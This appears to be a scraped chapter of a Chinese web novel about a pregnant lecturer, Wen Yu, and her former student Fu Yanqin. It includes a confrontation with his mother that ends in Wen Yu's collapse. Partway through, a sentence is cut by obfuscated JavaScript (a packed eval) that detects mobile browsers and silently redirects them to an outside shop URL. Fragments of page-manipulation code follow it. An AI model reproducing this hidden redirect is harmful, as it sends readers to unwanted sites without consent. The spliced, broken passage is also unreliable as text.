再次见到傅言钦，是在学校大门外，他自己开了车来，等温瑜上车后，傅言钦便讲：“以后我来接你吧。”


    他说的理所当然，就好像是夫妻间再正常不过的事情，可他们不是夫妻，甚至连情侣也不是。


    其实傅言钦更想让温瑜请假或者辞职，安心在家里休养，因为产检时，医生说胎像不稳，需要好好休息。


    但是如果要她整日待在家里，温瑜一定不会答应，于是傅言钦只好转换策略，打算每天来接她下班。


    温瑜一边系安全带，一边拒绝：“你其实不用……”拒绝的话讲到一半，又觉得还是算了，反正傅言钦也不会听。


    不过对于他前两天去了哪里，她却有些好奇。


    此前一个月，傅言钦一天不落，每晚都会准时过来，只有最近这些天有所懈怠。


    也不能说是懈怠，或许他是坚持不下来了，觉得厌烦了？


    可能再过不久，他又会觉得还是雇个月嫂比较方便，然后找个合适的月嫂过来看着她。


    至于傅言钦，来不来便全凭他的心情了。


    “今天想吃什么？”傅言钦开着车，忽然问她，温瑜摇头，“没有什么想吃的。”


    “那我定。”


    这晚，他们去了一家高档餐厅，如同在约会，只不过温瑜微微鼓起的小腹和宽松的衣服，与这里显得有些格格不入。


    但她总觉得，今天似乎有些特别，至于特别在哪里，直到傅言钦举着杯讲：“五年前，我就是在这里碰见的老师……”


    温瑜才蓦然反应过来，原来五年前的今天，是他们相遇的日子，她从来不记得，但没想到傅言钦记得。


    所以到底是他的恨多一点，还是爱多一点？


    “那天你为了救自己的学生，泼渣男酒的情形我还记得。”


    温瑜仔细回想那天发生的事，回答：“那天多亏你，我们才能顺利离开。”


    傅言钦淡然一笑，似是有些欣慰：“原来老师也记得一些……”


    “不管怎么说，都要谢谢你。”


    “你当时已经表达过感谢了，现在说谢谢，是感谢当时的我，还是现在的我？”


    温瑜听了，辩驳道：“我感谢的是你，当时的你也是你，现在的你也是，有必要区分的那么清楚吗？”


    “老师说的对……”傅言钦感同身受，他爱的是温瑜，不管是以前的温瑜，还是现在的温瑜，那都是温瑜。


    “我……可以问你一个问题吗？”傅言钦做了很多心理准备，才鼓足勇气在今天问她，不论如何，她都该有个交代。


    温瑜会看向他，语声平静，“好啊，什么问题？”


    “为什么？我想知道为什么？”


    之前那些事，她究竟为什么做那些事？


    温瑜似是而非地回答：“和你一样啊……”


    一样为了复仇？为了给廖嘉鸣报仇？


    尽管知道了廖嘉鸣当年做下的事，傅言钦还是有些想不通，温瑜为什么要这么做？


    “他负了你，你为什么还要做这些事情为他报仇？”


    如果她从一开始就不参与进来，是不是也就不会和方家合作，是不是也就不会成为间接导致他父亲死亡的凶手……


    温瑜依旧面不改色的看着傅言钦，他以前不是没问过，一直都是温瑜不肯讲。


    “这是第二个问题了，我没说过你问的所有问题我都会回答。”


    “老师……”傅言钦还想继续追问，温瑜却揉了揉太阳穴，有些疲惫地说：“我累了，回去吧。”


    有些事情不说清楚，就会像心里的一根刺，只要想到就会痛，可温瑜不肯讲，他没办法。


    “好吧，我们回去。”


    傅言钦走过来扶她起身，却忽然听温瑜问到：“你后悔吗？”


    “什么？”


    “后悔当时遇见我？”


    傅言钦愣了片刻，回答：“或许吧……”


    温瑜点点头，回应：“嗯，其实我也后悔了……”


    这个问题，傅言钦不再继续问下去，温瑜也没讲，自己后悔的不是遇见他……


    ——


    平静的日子总是很短暂。


    有一天，趁着傅言钦不在，有人找上了门。


    “你好，我是傅言钦的母亲，徐则盈。”


    对此，温瑜并未感到诧异，从她得知徐则盈回来的消息后，就料到迟早有一天，她会找上门来。


    傅言钦想瞒是瞒不住的。


    “您好，请问找我有什么事？”


    “你和小言的事我都知道了。”来之前，徐则盈已经简单查过了温瑜的家世背景，虽不显赫，但也算书香门第。


    “所以您来找我，是要我消失？”


    徐则盈否认：“不，我想我是一个开明的母亲，小言喜欢谁，想和谁在一起，我不干涉。我只是想来问问你的想法。”


    即使怀了身孕，温瑜也不肯和傅言钦结婚，对此，徐则盈有些好奇。


    “同为女性，有些事或许你不方便告诉小言，其实也可以告诉我……”


    如果面前这位温小姐并不爱傅言钦，只是傅言钦单方面的喜欢或者强迫，那么想必他们今后在一起也不会幸福。


    如果是这样，徐则盈更希望他们分开，有必要的话，她甚至会帮温瑜一把。


    “您是想问我的想法？”温瑜有些诧异，也猜到了徐则盈一定不知道傅思谦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303874|189879||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是怎么死的，否则徐则盈不可能心平气和地在这里问她的想法。


    温瑜试探着问：“我想离开，带着这个孩子。”


    “这不太可能，这毕竟是傅家的孩子，且不说傅家其他人，就算是我也不可能答应。”徐则盈拒绝的斩钉截铁，也确认了温瑜的心意。


    “可是傅言钦答应了……”


    徐则盈微微一顿，随即解释道：“小言还年轻，做出的决定未必都是深思熟虑过的，等到这个孩子出生，他可能就会……”


    “徐女士，您一点都不了解他。”


    徐则盈叹气，她的确缺席了太久，对于傅言钦的成长也参与的很少，可印象里的小言懂事听话，她总是下意识觉得，他还是小时候的他。


    “他不到十五岁的时候，我就离开了，我们确实有太久没见过面了，如果方便的话，可以麻烦你跟我讲讲他吗？”


    温瑜回想起最开始遇到他的情形。


    那天天气晴朗，温瑜抱着书本，经过校园的操场，看到了刚刚从篮球场上下来的傅言钦。


    他穿着白色短T，清爽又有活力，这是令温瑜印象最深的一刻。


    她死寂已久的心，似乎也在那一刻被点燃了一瞬。


    温瑜讲：“我其实和他也没有认识很久，在我印象里，他很幼稚，也经常胡闹。他逃过很多老师的课，可是不逃我的课，我刚刚成为他导师不久，就说要追求我……我有找他谈过，要他以学业为重，他却说什么都没有我重要，我真的不知道他为什么要这样……”


    徐则盈皱起眉，从温瑜的话语中，怎么看都像是傅言钦单方面的骚扰和追求。


    “他是我的学生，不能让他继续这样下去，为了让他把心思放在学业上，于是我告诉他，只要他顺利毕业，我就认真考虑他的追求……他信了，也真的这样做了。”


    温瑜有些不太舒服，下意识抚着小腹，继续讲：“之后我答应了他的追求，我们在一起了，可是，我骗了他……”


    “你骗了他？你都骗了他什么？”


    “我，我一直都在利用他……”


    温瑜抑制不住痛苦，语声越来越弱，她靠在椅背上，紧紧抓着桌边，才勉强没让自己滑落到地上。


    “你对他做了什么？”大概是出于对傅言钦的保护，徐则盈在听到她讲自己如何欺骗利用傅言钦时，一股愤怒涌上心头，甚至于没能察觉到温瑜惨白的面色。


    “我害死了他的父亲……”随着落下的话音，温瑜失重一般倒在地上。


    “你怎么了？”徐则盈看到温瑜透着鲜红，濡湿的裙摆，终于意识到了什么。


    当下什么也顾不上了，救人是最要紧的。


    ……